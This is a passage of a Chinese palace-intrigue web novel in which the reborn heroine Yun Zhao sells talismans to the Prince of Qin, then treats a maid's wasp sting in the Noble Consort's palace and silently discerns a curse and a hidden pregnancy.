随即又板起脸,特意叮嘱云昭,“阿昭,宫规森严,礼数不可废。昨日在家宴上的言行,绝不可再犯。”
他又看向梅娘子,语气不觉缓和了许多:“后日也是贵妃娘娘宣你入宫的日子。”
他目光透出些许深意:“不论家中如何,在外须得谨记,我们是一家人。你的脸,娘娘若是问起……”
梅娘子立刻垂下眼睑,姿态柔顺无比:“大爷放心,奴家明白该如何回话。”
她欲言又止地瞥了云昭一眼,声音愈发温婉大度,“大小姐刚归家,又思母心切,一时情急失了分寸也是有的。妾身……怎会与一个孩子计较呢。”
姜父满意地点点头:“府中还有些事务要处理,今晚便不回来了。”
说完,便转身离去。
姜珩紧随其后,经过云昭身边时,脚步未停,只甩给她一个冰冷又充满讥诮的眼神,仿佛在说,“看你还能嚣张几时“。
姜父和姜珩一走,杨氏便搀扶着老夫人,也寻了个借口离开了。
姜绾心亲昵地挽起梅娘子的手臂,软语央求她陪自己一同去取新衣首饰。
临走前,她特意停下脚步,回眸看向云昭:“姐姐,实在对不住,妹妹今日不得空相陪了。”
“待我回来,定好好与姐姐说说宫里的规矩。姐姐放心,我一定谨遵父亲之命,好好‘教导’姐姐。”
“咱们这位大姐姐,可是秦王殿下亲封的小医仙!”姜绾宁毫不客气地嗤笑了声。
“金针妙手,连长公主的羽簪都能修补得天衣无缝,想必缝制一件入宫的华服,也不在话下吧?”
众人幸灾乐祸,纷纷离去
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最后,只剩下一直沉默的三房温氏和她的一对女儿绾棠、绾荔。
温氏面露难色,走上前低声道:“大姑娘,我身份低微,从未有幸入宫,那些规矩,实在帮不上你。你……你不妨去求求长公主殿下。”
说完,她便拉着两个女儿匆匆离开。
谁知,与云昭擦肩而过的瞬间,年纪稍长的绾棠却飞快地往她手心里塞了一个小小的纸团。
云昭面不改色,悄然握紧。待回到栖梧苑展开,只见上面娟秀地写着一行小字:城北,永业庄。
*
京城的街道车水马龙,人流如织,尽显繁华。
云昭带着莺时信步闲逛,却并未流连于那些女儿家爱逛的绸缎庄与首饰楼,反而先寻了家可靠的店铺,采买了上好的黄纸、朱砂等物。
之后又寻了家价格公道的生药铺子,订购了不少药材。
莺时在一旁看得心急如焚,忍不住劝道:“姑娘,进宫觐见的规矩礼仪,自有严嬷嬷悉心教导。可这衣裳首饰,却是实实在在的门面,必须得准备起来了!”
“奴婢知道,您瞧不上外面那些寻常成衣,但这附近有一家布庄,裁制的衣裳样式新颖,做工极好,就是价格高昂了些。可为了宫宴不失体面,这钱咱们省不得。”
她一咬牙,低声道:“奴婢这里还有些攒下的体己钱……”
云昭失笑:“快把你的小金库收好。”她略一沉吟,“需要多少银子?”
“置办一身不失身份的行头,几百两总是要的。”
莺时细数道,“除了衣裳,首饰也得买一些。嬷嬷从尚书府库房取来的那些,东西倒是不错,但样式陈旧,与姑娘的年纪实在不相匹配。”
她口中念念有词,愁得不行:“至少……至少总得有一支足够撑场面的发钗才成。”
莺时从前在公主府时,原就是专司打理长公主钗环的。
实在见不得自家姑娘似今日这般,满头素净,简直是她这贴身侍女最大的失职!
云昭颔首:“那就去选一身衣裳,至于首饰,我自有主张。”
莺时这才长舒一口气。
恰在此时,一名身着劲装、眉眼英气的女子悄然出现,对云昭抱拳一礼:“云姑娘,我家主子有请。”
第23章 狮子大开口
云昭目光扫过她腰间短剑上那与墨一如出一辙的特殊纹路,心下明了。
她点头应道:“好。”
“姑娘!”莺时警惕地拉住云昭的衣袖,低声道:“京城人多眼杂,不知根底的人,可不能随便跟着去!”
“无妨,“云昭拍了拍她的手安抚道,“这位是秦王殿下身边的影卫。”
影七闻言,眼中闪过一丝讶异,没想到自己竟被一个看上去十五六岁的小女娘,一眼识破了身份。
云昭低声对莺时道:“今晨的事,也是秦王的人出手帮忙。”
莺时一时忍不住想:都说秦王冷若冰霜,一向对女子不假辞色,可对她家姑娘……好像有点不一般。
云昭却不知,自己简简单单一句话,就惹得身边的小丫头浮想联翩。
云昭与莺时跟随影七,在巷陌间几番穿行,最终进入一间颇为雅致的酒楼包厢。
包厢内,萧启端坐于主位,面色沉静,看不出喜怒。身旁侍立着一位管家模样的中年男子以及两名王府侍卫。
房间中央的桌案上,赫然放着几个敞开的黑色包袱。
一眼望去,里面尽是些奇形怪状的木雕,件件沾染泥土,隐隐散发出一股不祥气息。
那老管家一见云昭,竟激动得当即俯身下拜:“多谢小医仙妙法!助王府寻出这些腌臜邪物,为殿下除去心腹大患!”
当日,云昭初见萧启身中七玄钉,便断定萧启身上所中七重恶诅,绝非无源之水,其日常居所,必定早已被人埋下了诅咒之源。
萧启回府后,命人依云昭所示方位,埋下特制黄符。
子时一到,无需灯火,循着符力指引,果然在王府四角皆掘出了这些散发着浓重黑气的邪物。
老管家咬牙切齿道:“东西埋在四个方位,每个方位竟都有两件,歹毒至极!”
趁此机会,王府上下百余人,都被他清理了一圈。
那起子手脚不干净的,也利用云昭所教的法子,利用符咒之力,逐一排查揪了出来。
云昭闻言,目光落在老管家脸上,仔细端详片刻,忽而伸出手,隔空在他眉心处虚虚一抓。
老管家当即浑身一个激灵,打了个寒战,仿佛有什么阴冷的东西被抽离出去。
“昨夜挖掘时,未按我叮嘱保持距离吧?”
云昭语气平淡,“你未曾杀伐,周身无煞气护体,自然易被这些阴秽之物侵扰。”
老管家此刻才觉一股暖流重回四肢百骸,脸色却依旧有些发白,一时后怕不已。
云昭沉吟片刻,吩咐道:“调些朱砂来。”
莺时应声而动,立刻将方才采购的上好朱砂取出研磨,一边心下嘀咕:姑娘刚买的上好朱砂,还没捂热呢就派上用场。
若不是这趟跟着姑娘一同出来,她还不知道,这般纯度的朱砂,价格可不便宜!
云昭凝神提笔,蘸取朱砂,一道蕴藏着玄奥力量的符箓一气呵成。
一旁侍卫正要上前接过,却听云昭抬眸,目光直直望向对面的萧启:“殿下,我的符,是要收钱的。”
萧启闻言,眉梢微挑。
“答应为殿下拔除恶诅,已算是一桩亏本买卖。如今您府上的人未遵我嘱托而中了招,难道还要我白送符咒不成?天下没有这样的道理。”
“多少?”萧启言简意赅。
“一千两。”云昭报得面不改色。
老管家闻言,惊愕地看着云昭。
这姑娘生得秾丽乖巧,怎么一开口……竟是个狮子大开口的主儿!
云昭瞥他一眼:“你为殿下办事才受的伤,药费自然该由殿下承担。又不是掏你的私房钱,你慌什么?”
老管家苦着脸,可怜巴巴地道:“都怪老奴自己不当心,云姑娘您就别让我们殿下破费了……殿下平日里,待我们是极好的。”
萧启却并未多言,直接取出三张千两银票置于桌上:“再画两张。”
“一日只画一张。”
云昭拒绝得干脆。
画符一事,确实损耗精气。但那是针对普通人而言。
对她来说,一日画上十几张也不成问题。只是她昨夜为萧启施针拔咒,耗神太过,至今仍觉倦怠。
况且,人心微妙——越是易得之物,越不知珍惜。
再者,姜府如今由那些人把持,她既无积蓄,又无进项,欲在这寸土寸金的京城自立,最好的法子便是凭这一身本事,悄悄攒下立足之资。
昨夜严嬷嬷为儿媳求符的事,倒是提醒了她。
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>今日便从秦王这里开张,日后渐传名声——
以她的能耐,待救出苏氏,日后在京城赚钱买宅子立女户,绝非难事。
云昭点燃画好的符咒,溶于水中,递给老管家:“喝下去。”
老管家幼时长在乡里,某年夏天跟玩伴一同下水玩,回到家就高热不退。母亲去一位相熟的神婆家求来一道黄符,也是用的这个法子,最终起了效。因而,他倒并不排斥这种喝符水的方式。
只是,这可是一千两银子一碗的符水啊——
老管家两眼一闭,“咕咚咕咚“喝了个碗底朝天,一滴都舍不得浪费!
符水入肚,周身顿时暖洋洋的,有一种浸透四肢百骸的舒坦!
萧启凝视着云昭比平日更显苍白的脸色,忽然转眸看向一旁的莺时,语气冷沉:“怎么?尚书府是短了你家主子的吃食?”
莺时被那冷冽的目光一扫,顿时脸色发白。
玉面阎罗的威势实在迫人。
但她能感觉到,殿下与姑娘似乎关系匪浅。
昨日在公主府,这位秦王殿下便多有维护,方才两人交谈,姑娘几次开口都不怎么客气,可秦王也并无真正怒意。
“回殿下。”她定了定神,小声回道,“昨晚家宴,人人都欺负我们姑娘,逼姑娘拿出长公主殿下亲赐的彩笺。我们姑娘……一口热饭都没吃上。”
全然不提自家姑娘一鞭子掀了桌席的事实。
顿了顿,她又补充道:“今日一早,绾心小姐那边又闹将起来,全府上下都被惊动去了她院里,朝食……也没用成。”
临出门前她塞给自家姑娘的两块小糕点,也不能算正经朝食,对吧?
萧启:“……”
他也没想到,自己这么一问,还真问出东西来了。
竟是真的没给饭吃。
一旁的老管家反应极快,立即接话:“殿下,这家酒楼的红玉珍珠羹和芙蓉蜜酪最是出名,京中的贵女们都极是喜爱……”
萧启眼皮都未抬,只淡淡道:“既知道,还不快去置办。”
为萧启拔出恶诅,是极为耗费心力的一件事,且接下来,一重更比一重艰难。
此刻能多占萧启一些便宜,云昭心下只觉安然舒坦得很。
第24章 你想挨打就直说
等饭菜上桌的空隙,云昭指挥两个侍卫,依照她所说的法子,用沾满朱砂符水的黄纸将那些阴邪之物仔细包裹封印,再以黑布重重缠裹。
事毕,她对萧启道:“殿下若有相熟的可靠寺庙,可将这些秽物送去。只需说明来历,寺中高僧自知该如何处置。”
萧启微一颔首。
云昭随即从袖中取出一张素笺,递了过去:“殿下,昨夜所托之事,可遣人前往此地详查。”
她递出去的素笺上写的那个地址,正是出府前三房绾棠所提供的消息。
方才在路上,她本打算亲赴王府,不料半途被萧启的人请来,反倒省了她一番功夫。
萧启展开笺纸,扫过其上字迹,立时唤出影卫墨二,低声吩咐即刻去办。
不多时,饭菜端上来。
这间酒楼的菜式颇具特色,云昭尝了几样,只觉滋味甚好,便专注地用起饭来。
莺时在旁瞧着心疼,不住地为她布菜。
她想起娘亲在世时常说,女子也是人,吃饱饭才有力气行事,万不可因在意旁人眼光而亏待自己。
因此,即便家境清贫,她与弟弟的饭食也从无偏倚,母亲有时还会偷偷多塞给她一块红薯。
见云昭吃得香甜,老管家连连皱眉——
外界皆传尚书府迎回了失散多年的嫡女,可看云姑娘这般,只怕那姜府连顿饱饭都不曾好好供给!
尚书府不做人啊!
萧启亦面沉如水。
他以往只觉姜世安攀附东宫,功利心重。
经昨日一事,再听那小丫鬟所言,方知此人对待发妻亲女竟凉薄至此。
苛待妻女之人,品性能好到哪里去?
今日入宫面圣,倒多了些可谈之资。
云昭并未察觉自己一顿饭引得旁人诸多揣测。
她用罢一碗甜羹,抬眼向萧启问道:“殿下可否为我讲讲,后日太后娘娘的花神宴,都有哪些需要注意的地方?”
昨日姜府那些人没能逼迫她抢走彩笺,依照她对姜家人的了解,接下来绝不会善罢甘休。
太后花神宴人多眼杂,姜绾心与梅柔卿必定设局发难。
与其处处提防,不如抢占先机。
萧启道:“太后育有三子一女。长子即为先帝,次子是当今圣上,幼子雍王常年驻守封地,极少返京。长公主虽是太后嫡长女,但这些年来,母女间关系微妙。”
提及此事,萧启眸色微深:“你既在春日宴得了长公主的青眼,入宫必会受到太后询问。且太后近来颇为宠爱你那妹妹,此事,你要心中有数。”
萧启的意思是,长公主与太后娘娘,她只能择其一。
讨好一方,势必开罪另一方。
云昭点头,默默记下:“多谢殿下告知。”
萧启忽而看向她:“姜家嫡女这位子,恐怕不易坐吧?可曾后悔认亲?”
云昭抬眼,不答反问:“殿下身处漩涡,如履薄冰,可会因此远离京城?”
言罢起身,“多谢殿下款待。”
随即头也不回地离去,背影干脆利落。
萧启蓦地一怔,随即失笑。
眼前这女子,看似谋定后动、冷静自持,实则牙尖爪利,分毫不让。
瞧着秾丽温软,似那西域的波斯猫儿,实则,是只会亮出爪子挠人的小豹子。
出了酒楼,云昭对莺时道:“去你说的那间布庄。”又说,“方才你没用东西,沿途若看上什么喜欢的小吃,只管去买。”
手头三千两银子傍身,走路都带风。
莺时也高兴起来,脆生生应了,一路与云昭细说京中近来流行的衣裙款式。
云昭有一搭没一搭地听着,心中暗忖:
梅柔卿与姜绾心,一个救了贵妃的命,一个得了太后的赏,这其中定有蹊跷。
花神宴上,她定要叫这对汲汲营营、苦心攀附的母女,好好地出尽风头。
*
进皇城,但见朱墙高耸,殿宇高阔,洁净的宫道两旁,侍立的禁军甲胄鲜明,鸦雀无声。
云昭下了马车。前方,姜绾心与梅柔卿也已婷婷立定。
一名面白无须的小太监快步上前,对着梅柔卿恭敬道:“梅娘子,贵妃娘娘宣您
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即刻觐见。”
梅柔卿轻轻颔首,姿态娴雅:“有劳公公引路。”身旁丫鬟立刻递上一只沉甸甸的绣囊。
小太监袖了赏银,脸上笑容真切了几分,又道:“贵妃娘娘另有口谕,请姜家两位小姐一同前往。”
梅柔卿闻言,面露难色地看向云昭,柔声道:“娘娘恩典。只是我们家大姑娘初回京,规矩生疏,只怕……”
“娘子多虑了。”小太监笑容可掬:“娘娘正是听闻了姜大小姐‘小医仙’的名号,想请大小姐过去请个平安脉呢。”
梅柔卿闻言,眸光盈盈望着云昭:“阿昭,那咱们便同去吧。”
云昭未置一词,从容上前。
一行人默然行进在宫道上。
姜绾心与云昭并肩,目光状似不经意地扫过云昭周身。
“阿姊这身流光缎,用料倒是不俗,苏绣功夫也极好,想必是花了重金赶制的吧?”
她又细细打量云昭发间,见她只簪了两枚珍珠珠花,虽颗粒饱满,光泽莹润,但比起自己的满头珠翠,着实显得素净,不禁幸灾乐祸地撇了撇嘴。
一旁莺时早在姜绾心开始打量自己姑娘时,就急得心头起火——
出门前她还在劝姑娘,哪怕用些夫人嫁妆里的旧饰应急也好,却被姑娘拦下,还说今日自会有人赠簪添妆。
可这眼看都要到贵妃宫门前了,这赠簪的人在哪呢?
姜绾心忽地轻掩朱唇,作懊恼状,“瞧我这记性,刚接受府中事务,千头万绪的,竟忘了给阿姊支取份例银子,真是该打。”
想来也是,姜云昭初回京中,手头必定窘迫。能置办这身流光缎已属勉强,哪还有余钱添置首饰?
云昭淡淡瞥她一眼:“你想挨打?”
姜绾心蓦地一噎:“……”
云昭语气平静:“若皮痒了,直说便是,不必绕这些弯子。”
姜绾心被这话噎得气息一窒,脸颊涨红,一时竟寻不出话来反驳。
她狠狠绞紧了手中丝帕,低声咬牙道:“待会见了贵妃娘娘,但愿阿姊还能如此嚣张!”
第25章 今日本宫好好教你规矩
绕过一道影壁,眼前骤然开阔。
披香殿宫苑极尽豪奢,廊下悬挂着精巧的琉璃宫灯,即便白日也流溢华彩。
拐过一条铺着石子的小径,就听不远处两个宫人正在低声交谈。
“咱们娘娘近来也不知时冲撞了什么,诸事不顺。今早梳妆时,竟不知从哪窜出一只蜂子,差点就蛰到娘娘!”
“幸好锦屏姑姑眼疾手快,挡了一下。姑姑的手现在还肿得老高,抹了太医署的药油也不见好,疼得厉害。”
话音未落,云昭已瞧见那两个身着宫装的身影。
其中一位穿着赭色高等宫女服制的,一见到梅柔卿,脸上即刻堆起殷切的笑容,快步迎上:“梅娘子您可来了!”
“娘子快请!娘娘从早起就念叨着您呢!”那宫女语气热络,透着几分显而易见的讨好。
另一名宫女也在旁附和,话语间满是奉承:“梅娘子可是我们娘娘的吉星,您一来,娘娘心里就踏实了!”
云昭垂眸跟在后头,将这番对话一字不落地听在耳中。
昨日归家,老夫人张口闭口便是姜绾心福运深厚;之前在长公主春日宴上,亦听闻众人议论,满座宾客也都在议论姜家这位嫡女“福星高照”,连太后都赐下宝扇以示恩宠。
如今到了贵妃宫中,又听闻宫人将梅柔卿奉为贵妃的“吉星“。
当真是有趣。
她眼底浮起一抹讥诮。
前世,姜绾心为了博取这“福星”的美名,不惜设计了一场“舍身救太子”的戏码。
只不过,胸腹洞穿的剧痛,生死一线的煎熬,全都由她这个被困在暗室的“替身”来承受。
想不到这一世,她们竟变本加厉,还将这一套用到了贵妃身上。
云昭不动声色,沿途观察着贵妃的院落,直到被引进主殿。
主殿之内,香气清雅,陈设极尽奢靡,一应器物非金即玉。
身着桃红云锦金丝遍绣满幅缠枝芍药的女子慵懒倚在榻上,如云发髻戴一支凤凰珍珠步摇,颈间配三匝玛瑙东珠项链,艳丽的容颜透着苍白,眉眼间透出几分心绪不宁来。
她手中正捏着一把金剪刀,有一搭没一搭地修剪着一旁盆栽里的牡丹花枝。
云昭朝贵妃多看了两眼,旋即依礼叩拜。
嗯……她好像发现了不得了的秘密,还不止一个。
贵妃慵懒地抬了抬眸,声音里透着惯有的漫不经心:“平身吧。”
她撩起眼皮,目光最先落在梅柔卿身上。
那层薄纱让她不悦地蹙起精心描画的眉:“你的脸是怎么回事?”
梅柔卿怯怯回道:“回娘娘的话,前日不慎磕碰了一下,伤痕狰狞,恐惊扰娘娘凤驾,故以薄纱遮掩。”
贵妃将手中的金剪“啪“地搁在案上,声音沉了下去:
“本宫的命都是你救回来的,岂会被这点小伤惊着?解下面纱,让本宫瞧瞧。”
梅柔卿迟疑着,哀婉的目光似有若无地瞟向身侧的云昭,动作迟缓地解下面纱。
只见原本白嫩细滑的肌肤上,一道鲜红的鞭痕赫然盘踞,显得格外刺目。
“天爷!”贵妃身边的心腹大宫女锦屏倒吸一口凉气:“这瞧着可不像是磕碰伤着的!”
“梅娘子,给本宫说清楚,“贵妃的目光瞬间变得锐利,声音陡寒:“这究竟是怎么回事?”
“娘娘息怒!”梅柔卿“扑通”一声跪倒在地,惶恐的声调里带出哭腔:“都是……都是臣女自己不当心……”
她越是这般含糊其辞、显得忍辱负重,越是透露出事情的蹊跷。
贵妃转而看向一旁的姜绾心:“姜二小姐,你来说。”
姜绾心咬着唇,目光似不由自主般,轻瞟向云昭。
贵妃目光凉飕飕地扫向云昭:“是你做的?”
她不等回答,便继续训斥,每一个字都带着居高临下的审视:
“本宫听闻,你流落在外十六载,三日前才认亲回到姜府。才一归家,就敢鞭笞客居府中的长辈,实在缺乏管教!”
“梅娘子于本宫有救命之恩,“贵妃的声音愈发冷厉,“本宫不管你们之间有何私怨,但你竟用鞭子
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抽人脸面,心思未免太过恶毒!”
“大胆姜云昭!”旁边的大宫女厉声附和:“娘娘问你话呢,还不跪下回禀!”
云昭凝视着脸色蜡黄、额角不断渗出汗珠的大宫女,语气平静道:“姑姑手上的蜂毒已侵入心脉,若再不急救,恐有性命之危。”
“阿姊!”姜绾心急道,“当着贵妃娘娘的面,岂可如此无礼岔开话题,速速回答娘娘的问话!”
梅柔卿在旁哀声道:“娘娘,您就别再逼问大姑娘了。她年纪小,不懂事,许是一时冲动……”
“放肆!”
贵妃怒斥,“本宫问话,你竟敢顾左右而言他!简直毫无规矩体统!今日,本宫便代姜大人好好管教于你!来人——“
“姑姑!”
一声宫人的惊呼,打断了这场谁也不肯让步的对峙。
站在贵妃身旁的锦屏,双膝一软,直接瘫倒在地,双眼上翻,竟已失去了意识!
一名小宫女颤抖着手探了探她的鼻息,随即脸色煞白。
她惊惶道:“娘娘……锦屏姑姑她、她好像没气了!”
云昭道:“你们再不让开,今日就是大罗神仙来了也救不了她!”
音落,她已快步上前,俯身探脉,同时语速极快地吩咐:“速取冰来!还有,蛰伤她的那只蜂子,立刻去寻来尸首!”
说话间,云昭已然从腰间取出成套金针,手法娴熟地为锦屏施针逼毒。
贵妃宫中的宫女训练有素,动作极快,很快就取来一大碗冰块。
云昭指挥莺时用丝帕包住冰块,敷在锦屏肿胀发黑的伤处,用以缓解毒血蔓延。
接着又道:“来时见园中有七叶莲,速去连根拔一株,洗净捣碎取汁送来!”
贵妃早在云昭开始施针时,便已不由自主地走近几步,紧盯着她的动作。
眼见云昭拈起一枚细长的金针,竟要往锦屏头顶的要穴刺去,她不禁失声道:“你要做什么?”
云昭头也未抬,全神贯注,声音冷静得近乎淡漠:“娘娘,我救人时,不喜旁人打扰。”
第26章 皇帝被绿了?
说完,她手极稳地落下最后一针。
片刻之后,奇迹般地,锦屏被蛰伤的伤口处开始渗出乌黑的血珠。
云昭命莺时继续施力,直至黑血尽除,转为鲜红。
她又看向殿门方向:“那蜂子可找到了?”
一名小太监气喘吁吁地跑进来,手中帕子小心翼翼托着一只蜂子的尸体。
云昭打眼一望,语气微沉;“‘金环胡蜂’……怎会出现在宫闱之中?“
贵妃立刻听出她话中有话,追问道;“什么意思?”
云昭却并未直接回答,而是道:“我要的七叶莲可捣好了?”
“好了好了!”另一名宫女急忙将一只白瓷碗奉上。
云昭接过,对莺时道:“冰块撤下,将药敷于伤处。”
又对一旁的贵妃道:“寻一位力气大的宫人,将姑姑平稳移至榻上安卧。”
贵妃朝身旁递个眼色。
两名健壮的嬷嬷刚将锦屏小心抬起,便听她喉间溢出一声细微的呻吟,眼皮微微颤动:“娘娘……”
四周顿时响起一片惊呼:“醒了!锦屏姑姑醒了!”
“真救过来了!”
贵妃见状,立刻吩咐:“小心些,勿要晃动,快扶去暖阁静卧休养。”
云昭一边净手一边道:“我口述一道解毒方剂,速去御药房抓来煎煮。
三碗水熬成一碗,即刻喂她服下。之后每三个时辰服药一次,连续三日,不可间断。”
待一切处置妥当,她收好消过毒的金针,起身问道:“请问,何处可以净手?”
贵妃目光复杂地看着云昭,先前那兴师问罪的凌厉气势已消散大半。
取而代之的,是一种审慎的打量。
她示意一旁的宫婢,语气已缓和许多:“去取本宫常用的玫瑰香胰来,伺候姜大小姐净手。”
云昭也不推辞,净手后便接过宫婢奉上的温茶,从容饮了一口润喉。
随即,她目光转向身侧,语气自然道:“给我的婢女也上一盏茶。”
方才莺时一直紧随云昭左右,递针递物,冰敷涂药,沉稳得力,众人都看在眼里。
贵妃闻言,略一颔首,便有宫婢上前,为莺时也奉上一盏香茗。
茶汤澄澈,香气清雅,是莺时从未尝过的滋味。
她双手捧着茶盏,小口而迅速地饮下,暖流涌入喉间,眼眶却不由自主地微微发热——
这些都是跟随姑娘后才有的体面。
“赐座。”贵妃的声音听不出太多情绪,又对左右道,“给梅娘子和姜二小姐也看座。”
姜绾心姿态优美地敛衽谢恩,依言坐在了云昭下首的位置。
她指尖紧紧绞着袖中的锦帕,心中恨意翻涌:又是这样!
上一次在长公主的春日宴,云昭便是凭着一手神乎其技的金针功夫,修补了羽簪,轻而易举地夺走了所有目光。
之后,更是被引至屏风后为长公主施针……
不知其间究竟发生了什么,待她再出来时,竟成了长公主亲口认下的义女,还得了人人艳羡的春日宴彩头!
一时风头无两。
这几日,每当回想当日情景,姜绾心都觉心如火烧,夜不能寐。
她反复思量,认定是自己当时过于急躁,**了对方的算计,平白给了她崭露头角的机会。
今日,她绝不能再重蹈覆辙!
她不由将希冀的目光投向斜对面的梅柔卿。
却见对方低垂着眼睫,不知在想些什么,脸色竟有些微微发白,全然不似平日那般从容。
见状,姜绾心细声软语道:“娘娘,梅姨前日特地去了宝华寺,在佛前虔诚跪拜了整整一日,为您求得一枚平安符。”
“跪了一日?”贵妃微讶,看向梅柔卿:“这是何故?”
“寺中高僧说,平安符虽已开光,但若诚心足够,愿以自身苦行为引,跪拜时辰愈久,便能将更多福缘愿力灌注于符中,护佑之力也就愈强。”
姜绾心语气恳切,竭力渲染梅柔卿的虔诚用心。
贵妃身旁的宫婢上前,双手自梅柔卿手中接过那只小巧的木盒,恭敬地呈到贵妃面前。
贵妃打开盒子,取出那枚黄色的平安符握在手中,语气柔和了许多:“梅娘子有心了。”
梅柔卿脸颊泛红:“臣女愚钝,不像他人身怀绝技,唯有这一颗真心,盼着娘娘凤体安康,诸事顺遂。”
“不骄不躁,心性纯善。”贵妃面露动容:“难怪本宫在宝华寺初遇你时,便觉与你投缘得很。”
一旁的宫婢也笑着凑趣:“正是呢!那日若不是梅娘子机敏果敢,娘娘只怕真要伤在那畜生爪下。
事后娘娘还常说,今年宫中岁末宴饮,定要请梅娘子入宫,一同玩投壶呢。”
梅柔卿闻言,竟如少女般羞涩地垂首一笑:
“娘娘说笑了……臣女平日玩投壶,十次里也
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难中两三回。那日定是佛祖庇佑,娘娘自身洪福齐天,才让臣女侥幸挡了这一灾。”
贵妃显然被这番奉承说得心情舒畅,连日来的郁气都散了些许。
她叹了一声:“也不知怎的,本宫这几日总觉心神不宁,但你来了,与本宫说说话,本宫心里便觉得熨帖了许多。”
身旁的宫婢立刻机灵地接话:“待花神宴结束,梅娘子不如就留在宫中,多陪伴我们娘娘住上几日!”
梅柔卿脸上顿时涌现出受宠若惊的神色,忙道:“若能陪伴娘娘,是臣女几世修来的福分,岂敢不从。”
贵妃心情大好,本就艳丽的脸庞一时容光焕发:“那就说好,今日宴饮结束,你和留在宫中,多陪本宫住上几日。”
一旁的云昭默默注视着贵妃——
面泛桃花,双目含情,夫妻宫隐现红纹……
这位相传颇受帝王宠爱的孟贵妃,恐怕并非表面看上去那般安分守己。
贵妃又看向姜绾心,“姜二小姐若是愿意,也可留下相伴。”
姜绾心喜不自禁,忙起身行礼:“多谢贵妃娘娘,臣女愿意。”
直到此时,贵妃仿佛才想起云昭的存在,转而看向她:“方才听姜大小姐所言,这金环胡蜂在宫中并不常见?”
“是。”云昭眼帘轻垂,话锋一转,“臣女冒昧一问,娘娘宫中近日可曾堆放大量即将腐坏的水果?”
一旁的大宫女代为回话,语气透着傲然:
“宫中每日供应皆是各地进献的时新瓜果,娘娘近来不喜熏香,尤爱清果自然之气,屋内各处都摆着许多。但若说腐坏糜烂,是断然不可能的。”
孟贵妃母家显赫,近来圣眷虽不比从前,但陛下是念旧之人,宫中用度唯有更精,绝无克扣怠慢之理。
“这就奇了。”
云昭微微蹙眉,露出恰到好处的疑惑,“金环胡蜂最易被腐烂果物的浓烈气味吸引。若非如此,那便是……”
她适时停住,不再多言。
贵妃眸光一凝,纤纤玉指不自觉地护在小腹,声音沉了下去:“姜小姐的意思是……有人刻意为之?”
云昭沉默片刻,才缓声道:“臣女不敢妄断。”
“只是恳请娘娘细想,近来可曾去过不同寻常之处,或是……遭遇过什么难以解释的惊险之事?”
贵妃瞳孔骤然一缩,几乎是下意识地,眼风扫过一旁的梅柔卿。
第27章 贵妃怀孕孩子是谁的?
“其实……除了宝华寺那次,五日前还有一回。”一旁宫婢忍不住低声补充。
“那日在御花园,不知从何处飞来一只凶猛的乌鸦,直扑娘娘凤驾。万幸,只啄走了娘娘发簪上的一颗东珠……”
贵妃闻言,眼波微动,却并未出声呵斥。
“竟还有此事?”姜绾心以手抚心口,似听得心有余悸,“娘娘受惊了!”
梅柔卿也立即敛容,语气忧虑:“娘娘事后可派人擒获那孽畜?”
贵妃蹙眉道:“当时侍卫去捉了,但我想着杀生终归有损福缘,后来只在乌鸦窝里寻回了东珠,便让人将它放了。”
梅柔卿赞道:“娘娘慈悲为怀,菩萨必定感念。”
姜绾心忙接话道:“梅姨,既然如此,你更该多陪娘娘几日才是。”
她说着,眼风似不经意地扫过云昭,脸上挂着天真无邪的笑:
“阿姊自幼漂泊江湖,走南闯北,见识自然比我们这些久居京中的女儿家广博得多。
她既疑心有人作祟,那有梅姨这样细致周到的人在娘娘身边时时看顾、处处留意,终归是件好事。”
贵妃又看向云昭:“姜大小姐,可有何见解?”
云昭抬起眼,目光清澈,仿佛全然未觉其中的暗流汹涌。
只懵懂道:“臣女从前长在乡野,见识粗陋,只认得些蜂虫习性,故而才有此一问,实在不敢妄加揣测其他。”
贵妃打量着云昭:“本宫见你那一手金针医术,着实不凡。听说,先前在长公主府,你也凭此技惊四座。”
云昭腼腆一笑:“民女这点微末伎俩算不得什么。
不过民女的师父,医术通玄。听闻他老人家晚年精研玄理,甚至能以金针破咒镇邪。
可惜臣女愚钝,只学了些皮**,勉强能治治头疼脑热,解解常见的蜂毒罢了。”
“破咒镇邪?”贵妃若有所思地重复道,指尖无意识地摩挲着茶盏边缘,“你小小年纪,能得此真传,已属难得。不知尊师……”
云昭冷然道:“他老人家今年已仙逝了。”
姜绾心不自在地轻抿着唇。
梅柔卿适时地流露出关切之色:“娘娘可是想寻名医调养凤体?”
“倒也不是。”贵妃摆了摆手,语气恢复如常,“只是见姜大小姐技艺精湛,一时好奇,多问了几句。”
云昭垂眸不语,心中却如明镜一般。
贵妃身上被动了什么手脚,她第一眼便已看破——
她这是被人下了咒,名曰“人惊“。
中此咒者,不会立时毙命,却会频遭横祸,终日惊惶,直至心神耗尽,非死即疯。
看贵妃如今情形,施咒者还刻意将咒力与禽兽相关联,故这一连串意外,皆与动物有关。
不仅如此,她更窥破贵妃身上另一重隐秘:她已怀有身孕,一月有余。
寻常医者需靠诊脉断孕,而云昭自重生之后,便觉醒了玄瞳秘术,只消一眼,便望见贵妃身边萦绕的生息胎灵,孕时长短,一目了然。
云昭深知深宫险恶。
若直言咒术之事,空口无凭,反而引火烧身;
点破后宫妃嫔孕事,更有可能引来滔天大祸。
至于那梅柔卿和姜绾心,对着贵妃百般逢迎,一心攀附……
云昭不禁莞尔:若叫她们知晓,贵妃此刻已身怀有孕,不知是否还敢这般不管不顾地趋奉上前?
思及此,云昭唇角微扬,含着一丝若有似无的冷然笑意。
这一出好戏,倒是越发有趣了。
她只需做个安静的看客,静观其后风云变幻便好。
恰在此时,一道清亮而不失威仪的女声自殿外传来,打破了这片凝滞:
“让本宫好找!昭儿,你进宫不来寻义母,怎倒先跑到孟贵妃这儿来了?”
众人循声望去。
只见长公主殿下仪态万方地步入殿内,语气听着似是薄责,却透着一股不容错辨的亲昵与回护之意。
贵妃见到长公主,起身行礼。
“免了这些虚礼。”长公主摆了摆手:“本宫过来没别的事,就是惦记这丫头。我们母女说几句体己话,孟贵妃不介意吧?”
“玉湖。”贵妃侧首吩咐,“去将本宫备好的那只锦盒取来,赠予姜大小姐。”
侍立在贵妃身旁的大宫女应声上前,双手奉上一只精巧的锦盒。
云昭目光微动,悄然看向长公主。
长公主却已自然而然地伸手接过那锦盒,指尖一挑,当面揭开——
只见盒内丝绒衬底上,静静躺着几枚做工精巧、配色雅致的堆纱绢花。
贵妃笑着道:“是些小玩意儿,带回去给家中姊妹戴着玩罢。也算全了今日相见之缘。”
今日花神宴的主角是太后,她身为贵妃,即便赠礼,也深知分寸,绝不会越过太后去出这个风头。
